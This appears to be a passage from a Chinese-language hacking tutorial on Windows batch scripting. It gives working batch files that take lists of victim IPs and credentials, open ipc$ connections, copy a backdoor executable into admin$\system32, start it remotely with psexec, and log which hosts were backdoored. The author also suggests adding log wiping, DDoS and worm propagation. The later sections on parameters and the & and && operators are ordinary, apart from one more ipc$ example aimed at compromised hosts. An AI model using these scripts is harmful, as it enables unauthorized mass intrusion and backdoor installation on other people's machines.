主要命令也只有一条:(在批处理文件中使用 for 命令时,指定变量使用 %%variable)
@for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call door.bat %%i %%j %%k
tokens的用法请参见上面的sample1,在这里它表示按顺序将victim.txt中的内容传递给door.bat中的参数%i %j %k。
而cultivate.bat无非就是用net use命令来建立ipc$连接,并copy木马+后门到victim,然后用返回码(if errorlever =)来筛选成功种植后门的主机,并echo出来,或者echo到指定的文件。
delims= 表示vivtim.txt中的内容是一空格来分隔的。我想看到这里你也一定明白这victim.txt里的内容是什么样的了。应该根据%%i %%j %%k表示的对象来排列,一般就是 ip password username。
代码雏形:
--------------- cut here then save as a batchfile(i call it main.bat ) ---------------------------
@echo off
@if "%1"=="" goto usage
@for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call ipchack.bat %%i %%j %%k
@goto end
:usage
@echo run this batch in dos modle.or just double-click it.
:end
--------------- cut here then save as a batchfile(i call it main.bat ) ---------------------------
------------------- cut here then save as a batchfile(i call it door.bat) -----------------------------
@net use ////%1//ipc$ %3 /u:"%2"
@if errorlevel 1 goto failed
@echo trying to establish the ipc$ connection …………ok
@copy windrv32.exe////%1//admin$//system32 && if not errorlevel 1 echo ip %1 user %2 pwd %3 >>ko.txt
@psexec ////%1 c://winnt//system32//windrv32.exe
@psexec ////%1 net start windrv32 && if not errorlevel 1 echo %1 backdoored >>ko.txt
:failed
@echo sorry can not connected to the victim.
----------------- cut here then save as a batchfile(i call it door.bat) --------------------------------
这只是一个自动种植后门批处理的雏形,两个批处理和后门程序(windrv32.exe),psexec.exe需放在统一目录下.批处理内容
尚可扩展,例如:加入清除日志+ddos的功能,加入定时添加用户的功能,更深入一点可以使之具备自动传播功能(蠕虫).此处不多做叙述,有兴趣的朋友可自行研究.
二.如何在批处理文件中使用参数
批处理中可以使用参数,一般从1%到 9%这九个,当有多个参数时需要用shift来移动,这种情况并不多见,我们就不考虑它了。
sample1:fomat.bat
@echo off
if "%1"=="a" format a:
:format
@format a:/q/u/auotset
@echo please insert another disk to driver a.
@pause
@goto fomat
这个例子用于连续地格式化几张软盘,所以用的时候需在dos窗口输入fomat.bat a,呵呵,好像有点画蛇添足了~^_^
sample2:
当我们要建立一个ipc$连接地时候总要输入一大串命令,弄不好就打错了,所以我们不如把一些固定命令写入一个批处理,把肉鸡地ip password username 当着参数来赋给这个批处理,这样就不用每次都打命令了。
@echo off
@net use ////1%//ipc$ "2%" /u:"3%" 注意哦,这里password是第二个参数。
@if errorlevel 1 echo connection failed
怎么样,使用参数还是比较简单的吧?你这么帅一定学会了^_^.no.3
三.如何使用组合命令(compound command)
1.&
usage:第一条命令 & 第二条命令 [& 第三条命令...]
用这种方法可以同时执行多条命令,而不管命令是否执行成功
sample:
c://>dir z: & dir c://ex4rch
the system cannot find the path specified.
volume in drive c has no label.
volume serial number is 0078-59fb
directory of c://ex4rch
2002-05-14 23:51 <dir> .
2002-05-14 23:51 <dir> ..
2002-05-14 23:51 14 sometips.gif
2.&&
usage:第一条命令 && 第二条命令 [&& 第三条命令...]
用这种方法可以同时执行多条命令,当碰到执行出错的命令后将不执行后面的命令,如果一直没有出错则一直执行完所有命令;
sample:
c://>dir z: && dir c://ex4rch
the system cannot find the path specified.
c://>dir c://ex4rch && dir z:
volume in drive c has no label.
volume serial number is 0078-59fb
directory of c://ex4rch
2002-05-14 23:55 <dir> .
2002-05-14 23:55 <dir> ..
2002-05-14 23:55 14 sometips.gif
1 file(s) 14 bytes
2 dir(s) 768,671,744 bytes free
the system cannot find the path specified.
在做备份的时候可能会用到这种命令会比较简单,如:
dir 文件://192.168.0.1/database/backup.mdb && copy 文件://192.168.0.1/database/backup.mdb e://backup
如果远程服务器上存在backup.mdb文件,就执行copy命令,若不存在该文件则不执行copy命令。这种用法可以替换if exist了 :)
3
如对本文有疑问,
点击进行留言回复!!
网友评论